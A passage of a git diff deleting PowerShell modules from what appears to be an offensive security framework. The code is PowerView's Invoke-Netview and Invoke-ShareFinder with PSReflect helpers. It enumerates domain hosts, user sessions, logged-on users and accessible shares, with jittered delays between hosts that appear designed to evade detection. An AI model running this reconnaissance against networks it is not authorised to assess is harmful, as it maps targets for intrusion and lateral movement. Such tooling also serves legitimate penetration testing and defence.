hosts. - - .EXAMPLE - > Invoke-Netview - Run all Netview functionality and display the output. - - .EXAMPLE - > Invoke-Netview -Delay 60 - Run all Netview functionality with a 60 second (+/- *.3) randomized - delay between touching each host. - - .EXAMPLE - > Invoke-Netview -Delay 10 -HostList hosts.txt - Runs Netview on a pre-populated host list with a 10 second (+/- *.3) - randomized delay between touching each host. - - .EXAMPLE - > Invoke-Netview -NoPing - Runs Netview and doesn't pings hosts before eunmerating them. - - .EXAMPLE - > Invoke-Netview -Domain testing - Runs Netview for hosts in the 'testing' domain. - - .LINK - https://github.com/mubix/netview - www.room362.com/blog/2012/10/07/compiling-and-release-of-netview/ - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, - - [string] - $HostList, - - [string] - $HostFilter, - - [Switch] - $ExcludeShares, - - [Switch] - $CheckShareAccess, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [double] - $Jitter = .3, - - [string] - $Domain - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # shares we want to ignore if the flag is set - $excludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") - - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - # random object for delay - $randNo = New-Object System.Random - - $currentUser = ([Environment]::UserName).toLower() - - "Running Netview with delay of $Delay" - if ($targetDomain){ - "[*] Domain: $targetDomain" - } - - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - - $DomainControllers = Get-NetDomainControllers -Domain $targetDomain | % {$_.Name} - - if (($DomainControllers -ne $null) -and ($DomainControllers.count -ne 0)){ - foreach ($DC in $DomainControllers){ - "[+] Domain Controller: $DC" - } - } - } - - process { - - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } - - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping - } - - $HostCount = $Hosts.Count - "[*] Total number of hosts: $HostCount" - - $counter = 0 - - foreach ($server in $Hosts){ - - $server = Get-NameField $server - - $counter = $counter + 1 - - # make sure we have a server - if (($server -ne $null) -and ($server.trim() -ne '')){ - - $ip = Get-HostIP -hostname $server - - # make sure the IP resolves - if ($ip -ne ''){ - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" - "`r`n[+] Server: $server" - "[+] IP: $ip" - - # get active sessions for this host and display what we find - $sessions = Get-NetSessions -HostName $server - foreach ($session in $sessions) { - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '') -and ($username.trim().toLower() -ne $currentUser)){ - "[+] $server - Session - $username from $cname - Active: $activetime - Idle: $idletime" - } - } - - # get any logged on users for this host and display what we find - $users = Get-NetLoggedon -HostName $server - foreach ($user in $users) { - $username = $user.wkui1_username - $domain = $user.wkui1_logon_domain - - if ($username -ne $null){ - # filter out $ machine accounts - if ( !$username.EndsWith("$") ) { - "[+] $server - Logged-on - $domain\\$username" - } - } - } - - # get the shares for this host and display what we find - $shares = Get-NetShare -HostName $server - foreach ($share in $shares) { - if ($share -ne $null){ - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$server+'\'+$netname - - # check if we're filtering out common shares - if ($ExcludeShares){ - if (($netname) -and ($netname.trim() -ne '') -and ($excludedShares -notcontains $netname)){ - - # see if we want to test for access to the found - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "[+] $server - Share: $netname `t: $remark" - } - catch {} - - } - else{ - "[+] $server - Share: $netname `t: $remark" - } - - } - } - # otherwise, display all the shares - else { - if (($netname) -and ($netname.trim() -ne '')){ - - # see if we want to test for access to the found - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "[+] $server - Share: $netname `t: $remark" - } - catch {} - } - else{ - "[+] $server - Share: $netname `t: $remark" - } - } - } - } - } - - } - } - } - } -} - - -function Invoke-NetviewThreaded { - <# - .SYNOPSIS - Queries the domain for all hosts, and retrieves open shares, - sessions, and logged on users for each host. - Original functionality was implemented in the netview.exe tool - released by Rob Fuller (@mubix). See links for more information. - Threaded version of Invoke-Netview. Uses multithreading to - speed up enumeration. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - This is a port of Mubix's netview.exe tool. It finds the local domain name - for a host using Get-NetDomain, reads in a host list or queries the domain - for all active machines with Get-NetComputers, randomly shuffles the host list, - then for each target server it runs Get-NetSessions, Get-NetLoggedon, - and Get-NetShare to enumerate each target host. - Threaded version of Invoke-Netview. - - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. - - .PARAMETER HostList - List of hostnames/IPs enumerate. - - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ExcludedShares - Shares to exclude from output, wildcards accepted (i.e. IPC*) - - .PARAMETER CheckShareAccess - Only display found shares that the local user has access to. - - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Domain - Domain to enumerate for hosts. - - .PARAMETER MaxThreads - The maximum concurrent threads to execute. - - .EXAMPLE - > Invoke-Netview - Run all NetviewThreaded functionality and display the output. - - .EXAMPLE - > Invoke-NetviewThreaded -HostList hosts.txt - Runs Netview on a pre-populated host list. - - .EXAMPLE - > Invoke-NetviewThreaded -ExcludedShares IPC$, PRINT$ - Runs Netview and excludes IPC$ and PRINT$ shares from output - - .EXAMPLE - > Invoke-NetviewThreaded -NoPing - Runs Netview and doesn't pings hosts before eunmerating them. - - .EXAMPLE - > Invoke-NetviewThreaded -Domain testing - Runs Netview for hosts in the 'testing' domain. - - .LINK - https://github.com/mubix/netview - www.room362.com/blog/2012/10/07/compiling-and-release-of-netview/ - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, - - [string] - $HostList, - - [string] - $HostFilter, - - [string[]] - $ExcludedShares, - - [Switch] - $CheckShareAccess, - - [Switch] - $NoPing, - - [string] - $Domain, - - [Int] - $MaxThreads = 20 - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - $currentUser = ([Environment]::UserName).toLower() - - "Running Netview with delay of $Delay" - if($targetDomain){ - "[*] Domain: $targetDomain" - } - - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - - # script block that eunmerates a server - # this is called by the multi-threading code later - $EnumServerBlock = { - param($Server, $Ping, $CheckShareAccess, $ExcludedShares) - - $Server = Get-NameField $Server - - $ip = Get-HostIP -hostname $server - - # make sure the IP resolves - if ($ip -ne ''){ - - # optionally check if the server is up first - $up = $true - if($Ping){ - $up = Test-Server -Server $Server - } - if($up){ - - "`r`n[+] Server: $server" - "[+] IP: $ip" - - # get active sessions for this host and display what we find - $sessions = Get-NetSessions -HostName $server - foreach ($session in $sessions) { - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '') -and ($username.trim().toLower() -ne $currentUser)){ - "[+] $server - Session - $username from $cname - Active: $activetime - Idle: $idletime" - } - } - - # get any logged on users for this host and display what we find - $users = Get-NetLoggedon -HostName $server - foreach ($user in $users) { - $username = $user.wkui1_username - $domain = $user.wkui1_logon_domain - - if ($username -ne $null){ - # filter out $ machine accounts - if ( !$username.EndsWith("$") ) { - "[+] $server - Logged-on - $domain\\$username" - } - } - } - - # get the shares for this host and display what we find - $shares = Get-NetShare -HostName $server - foreach ($share in $shares) { - if ($share -ne $null){ - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$server+'\'+$netname - - # check if we're filtering out common shares - if ($ExcludeCommon){ - if (($netname) -and ($netname.trim() -ne '') -and ($excludedShares -notcontains $netname)){ - - # see if we want to test for access to the found - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "[+] $server - Share: $netname `t: $remark" - } - catch {} - - } - else{ - "[+] $server - Share: $netname `t: $remark" - } - - } - } - # otherwise, display all the shares - else { - if (($netname) -and ($netname.trim() -ne '')){ - - # see if we want to test for access to the found - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "[+] $server - Share: $netname `t: $remark" - } - catch {} - } - else{ - "[+] $server - Share: $netname `t: $remark" - } - } - } - - } - } - - } - } - } - - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() - - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 - - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") - - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - If($VorbiddenVars -notcontains $Var.Name) { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) - } - } - - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $sessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } - - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - $counter = 0 - - # create a pool of maxThread runspaces - $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) - $pool.Open() - - $jobs = @() - $ps = @() - $wait = @() - - $DomainControllers = Get-NetDomainControllers -Domain $targetDomain | % {$_.Name} - - if (($DomainControllers -ne $null) -and ($DomainControllers.count -ne 0)){ - foreach ($DC in $DomainControllers){ - "[+] Domain Controller: $DC" - } - } - - $counter = 0 - } - - process { - - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } - - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - "[*] Total number of hosts: $HostCount`r`n" - - foreach ($server in $Hosts){ - - # make sure we get a server name - if ($server -ne ''){ - Write-Verbose "[*] Enumerating server $server ($($counter+1) of $($Hosts.count))" - - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 - } - - # create a "powershell pipeline runner" - $ps += [powershell]::create() - - $ps[$counter].runspacepool = $pool - - # add the script block + arguments - [void]$ps[$counter].AddScript($EnumServerBlock).AddParameter('Server', $server).AddParameter('Ping', -not $NoPing).AddParameter('CheckShareAccess', $CheckShareAccess).AddParameter('ExcludedShares', $ExcludedShares) - - # start job - $jobs += $ps[$counter].BeginInvoke(); - - # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle - } - $counter = $counter + 1 - } - } - - end { - Write-Verbose "Waiting for scanning threads to finish..." - - $waitTimeout = Get-Date - - while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { - Start-Sleep -milliseconds 500 - } - - # end async call - for ($y = 0; $y -lt $counter; $y++) { - - try { - # complete async job - $ps[$y].EndInvoke($jobs[$y]) - - } catch { - Write-Warning "error: $_" - } - finally { - $ps[$y].Dispose() - } - } - - $pool.Dispose() - } -} - - -# expose the Win32API functions and datastructures below -# using PSReflect - -$Mod = New-InMemoryModule -ModuleName Win32 - -# all of the Win32 API functions we need -$FunctionDefinitions = @( - (func netapi32 NetShareEnum ([Int]) @([string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetWkstaUserEnum ([Int]) @([string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetSessionEnum ([Int]) @([string], [string], [string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func kernel32 GetLastError ([Int]) @()) -) - -# the NetShareEnum result structure -$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ - shi1_netname = field 0 String -MarshalAs @('LPWStr') - shi1_type = field 1 UInt32 - shi1_remark = field 2 String -MarshalAs @('LPWStr') -} - -# the NetWkstaUserEnum result structure -$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ - wkui1_username = field 0 String -MarshalAs @('LPWStr') - wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr') - wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr') - wkui1_logon_server = field 3 String -MarshalAs @('LPWStr') -} - -# the NetSessionEnum result structure -$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ - sesi10_cname = field 0 String -MarshalAs @('LPWStr') - sesi10_username = field 1 String -MarshalAs @('LPWStr') - sesi10_time = field 2 UInt32 - sesi10_idle_time = field 3 UInt32 -} - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Netapi32 = $Types['netapi32'] -$Kernel32 = $Types['kernel32'] diff --git a/data/module_source/situational_awareness/network/Invoke-ShareFinder.ps1 b/data/module_source/situational_awareness/network/Invoke-ShareFinder.ps1 deleted file mode 100644 index 919e1ce10..000000000 --- a/data/module_source/situational_awareness/network/Invoke-ShareFinder.ps1 +++ /dev/null @@ -1,2047 +0,0 @@ -#requires -version 2 - -<# - -Veil-PowerView v1.9 - -See README.md for more information. - -by @harmj0y -#> - - -# PSReflect code for Windows API access -# Author: @mattifestation -# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 -function New-InMemoryModule -{ -<# -.SYNOPSIS - -Creates an in-memory assembly and module - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -When defining custom enums, structs, and unmanaged functions, it is -necessary to associate to an assembly module. This helper function -creates an in-memory module that can be passed to the 'enum', -'struct', and Add-Win32Type functions. - -.PARAMETER ModuleName - -Specifies the desired name for the in-memory assembly and module. If -ModuleName is not provided, it will default to a GUID. - -.EXAMPLE - -$Module = New-InMemoryModule -ModuleName Win32 -#> - - Param - ( - [Parameter(Position = 0)] - [ValidateNotNullOrEmpty()] - [String] - $ModuleName = [Guid]::NewGuid().ToString() - ) - - $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() - - foreach ($Assembly in $LoadedAssemblies) { - if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { - return $Assembly - } - } - - $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) - $Domain = [AppDomain]::CurrentDomain - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) - - return $ModuleBuilder -} - - -# A helper function used to reduce typing while defining function -# prototypes for Add-Win32Type. -function func -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [String] - $DllName, - - [Parameter(Position = 1, Mandatory = $True)] - [string] - $FunctionName, - - [Parameter(Position = 2, Mandatory = $True)] - [Type] - $ReturnType, - - [Parameter(Position = 3)] - [Type[]] - $ParameterTypes, - - [Parameter(Position = 4)] - [Runtime.InteropServices.CallingConvention] - $NativeCallingConvention, - - [Parameter(Position = 5)] - [Runtime.InteropServices.CharSet] - $Charset, - - [Switch] - $SetLastError - ) - - $Properties = @{ - DllName = $DllName - FunctionName = $FunctionName - ReturnType = $ReturnType - } - - if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } - if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } - if ($Charset) { $Properties['Charset'] = $Charset } - if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } - - New-Object PSObject -Property $Properties -} - - -function Add-Win32Type -{ -<# -.SYNOPSIS - -Creates a .NET type for an unmanaged Win32 function. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: func - -.DESCRIPTION - -Add-Win32Type enables you to easily interact with unmanaged (i.e. -Win32 unmanaged) functions in PowerShell. After providing -Add-Win32Type with a function signature, a .NET type is created -using reflection (i.e. csc.exe is never called like with Add-Type). - -The 'func' helper function can be used to reduce typing when defining -multiple function definitions. - -.PARAMETER DllName - -The name of the DLL. - -.PARAMETER FunctionName - -The name of the target function. - -.PARAMETER ReturnType - -The return type of the function. - -.PARAMETER ParameterTypes - -The function parameters. - -.PARAMETER NativeCallingConvention - -Specifies the native calling convention of the function. Defaults to -stdcall. - -.PARAMETER Charset - -If you need to explicitly call an 'A' or 'W' Win32 function, you can -specify the character set. - -.PARAMETER SetLastError - -Indicates whether the callee calls the SetLastError Win32 API -function before returning from the attributed method. - -.PARAMETER Module - -The in-memory module that will host the functions. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER Namespace - -An optional namespace to prepend to the type. Add-Win32Type defaults -to a namespace consisting only of the name of the DLL. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$FunctionDefinitions = @( - (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), - (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), - (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) -) - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Kernel32 = $Types['kernel32'] -$Ntdll = $Types['ntdll'] -$Ntdll::RtlGetCurrentPeb() -$ntdllbase = $Kernel32::GetModuleHandle('ntdll') -$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') - -.NOTES - -Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 - -When defining multiple function prototypes, it is ideal to provide -Add-Win32Type with an array of function signatures. That way, they -are all incorporated into the same in-memory module. -#> - - [OutputType([Hashtable])] - Param( - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [String] - $DllName, - - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [String] - $FunctionName, - - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [Type] - $ReturnType, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Type[]] - $ParameterTypes, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Runtime.InteropServices.CallingConvention] - $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Runtime.InteropServices.CharSet] - $Charset = [Runtime.InteropServices.CharSet]::Auto, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Switch] - $SetLastError, - - [Parameter(Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [ValidateNotNull()] - [String] - $Namespace = '' - ) - - BEGIN - { - $TypeHash = @{} - } - - PROCESS - { - if ($Module -is [Reflection.Assembly]) - { - if ($Namespace) - { - $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") - } - else - { - $TypeHash[$DllName] = $Module.GetType($DllName) - } - } - else - { - # Define one type for each DLL - if (!$TypeHash.ContainsKey($DllName)) - { - if ($Namespace) - { - $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') - } - else - { - $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') - } - } - - $Method = $TypeHash[$DllName].DefineMethod( - $FunctionName, - 'Public,Static,PinvokeImpl', - $ReturnType, - $ParameterTypes) - - # Make each ByRef parameter an Out parameter - $i = 1 - foreach($Parameter in $ParameterTypes) - { - if ($Parameter.IsByRef) - { - [void] $Method.DefineParameter($i, 'Out', $null) - } - - $i++ - } - - $DllImport = [Runtime.InteropServices.DllImportAttribute] - $SetLastErrorField = $DllImport.GetField('SetLastError') - $CallingConventionField = $DllImport.GetField('CallingConvention') - $CharsetField = $DllImport.GetField('CharSet') - if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } - - # Equivalent to C# version of [DllImport(DllName)] - $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) - $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, - $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), - [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), - [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) - - $Method.SetCustomAttribute($DllImportAttribute) - } - } - - END - { - if ($Module -is [Reflection.Assembly]) - { - return $TypeHash - } - - $ReturnTypes = @{} - - foreach ($Key in $TypeHash.Keys) - { - $Type = $TypeHash[$Key].CreateType() - - $ReturnTypes[$Key] = $Type - } - - return $ReturnTypes - } -} - - -function psenum -{ -<# -.SYNOPSIS - -Creates an in-memory enumeration for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -The 'psenum' function facilitates the creation of enums entirely in -memory using as close to a "C style" as PowerShell will allow. - -.PARAMETER Module - -The in-memory module that will host the enum. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER FullName - -The fully-qualified name of the enum. - -.PARAMETER Type - -The type of each enum element. - -.PARAMETER EnumElements - -A hashtable of enum elements. - -.PARAMETER Bitfield - -Specifies that the enum should be treated as a bitfield. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ - UNKNOWN = 0 - NATIVE = 1 # Image doesn't require a subsystem. - WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. - WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. - OS2_CUI = 5 # Image runs in the OS/2 character subsystem. - POSIX_CUI = 7 # Image runs in the Posix character subsystem. - NATIVE_WINDOWS = 8 # Image is a native Win9x driver. - WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. - EFI_APPLICATION = 10 - EFI_BOOT_SERVICE_DRIVER = 11 - EFI_RUNTIME_DRIVER = 12 - EFI_ROM = 13 - XBOX = 14 - WINDOWS_BOOT_APPLICATION = 16 -} - -.NOTES - -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Enum. :P -#> - - [OutputType([Type])] - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [Parameter(Position = 1, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $FullName, - - [Parameter(Position = 2, Mandatory = $True)] - [Type] - $Type, - - [Parameter(Position = 3, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [Hashtable] - $EnumElements, - - [Switch] - $Bitfield - ) - - if ($Module -is [Reflection.Assembly]) - { - return ($Module.GetType($FullName)) - } - - $EnumType = $Type -as [Type] - - $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) - - if ($Bitfield) - { - $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) - $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - } - - foreach ($Key in $EnumElements.Keys) - { - # Apply the specified enum type to each element - $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) - } - - $EnumBuilder.CreateType() -} - - -# A helper function used to reduce typing while defining struct -# fields. -function field -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [UInt16] - $Position, - - [Parameter(Position = 1, Mandatory = $True)] - [Type] - $Type, - - [Parameter(Position = 2)] - [UInt16] - $Offset, - - [Object[]] - $MarshalAs - ) - - @{ - Position = $Position - Type = $Type -as [Type] - Offset = $Offset - MarshalAs = $MarshalAs - } -} - - -function struct -{ -<# -.SYNOPSIS - -Creates an in-memory struct for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: field - -.DESCRIPTION - -The 'struct' function facilitates the creation of structs entirely in -memory using as close to a "C style" as PowerShell will allow. Struct -fields are specified using a hashtable where each field of the struct -is comprosed of the order in which it should be defined, its .NET -type, and optionally, its offset and special marshaling attributes. - -One of the features of 'struct' is that after your struct is defined, -it will come with a built-in GetSize method as well as an explicit -converter so that you can easily cast an IntPtr to the struct without -relying upon calling SizeOf and/or PtrToStructure in the Marshal -class. - -.PARAMETER Module - -The in-memory module that will host the struct. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER FullName - -The fully-qualified name of the struct. - -.PARAMETER StructFields - -A hashtable of fields. Use the 'field' helper function to ease -defining each field. - -.PARAMETER PackingSize - -Specifies the memory alignment of fields. - -.PARAMETER ExplicitLayout - -Indicates that an explicit offset for each field will be specified. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ - DOS_SIGNATURE = 0x5A4D - OS2_SIGNATURE = 0x454E - OS2_SIGNATURE_LE = 0x454C - VXD_SIGNATURE = 0x454C -} - -$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ - e_magic = field 0 $ImageDosSignature - e_cblp = field 1 UInt16 - e_cp = field 2 UInt16 - e_crlc = field 3 UInt16 - e_cparhdr = field 4 UInt16 - e_minalloc = field 5 UInt16 - e_maxalloc = field 6 UInt16 - e_ss = field 7 UInt16 - e_sp = field 8 UInt16 - e_csum = field 9 UInt16 - e_ip = field 10 UInt16 - e_cs = field 11 UInt16 - e_lfarlc = field 12 UInt16 - e_ovno = field 13 UInt16 - e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) - e_oemid = field 15 UInt16 - e_oeminfo = field 16 UInt16 - e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) - e_lfanew = field 18 Int32 -} - -# Example of using an explicit layout in order to create a union. -$TestUnion = struct $Mod TestUnion @{ - field1 = field 0 UInt32 0 - field2 = field 1 IntPtr 0 -} -ExplicitLayout - -.NOTES - -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Struct. :P -#> - - [OutputType([Type])] - Param - ( - [Parameter(Position = 1, Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [Parameter(Position = 2, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $FullName, - - [Parameter(Position = 3, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [Hashtable] - $StructFields, - - [Reflection.Emit.PackingSize] - $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, - - [Switch] - $ExplicitLayout - ) - - if ($Module -is [Reflection.Assembly]) - { - return ($Module.GetType($FullName)) - } - - [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, - Class, - Public, - Sealed, - BeforeFieldInit' - - if ($ExplicitLayout) - { - $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout - } - else - { - $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout - } - - $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) - $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - - $Fields = New-Object Hashtable[]($StructFields.Count) - - # Sort each field according to the 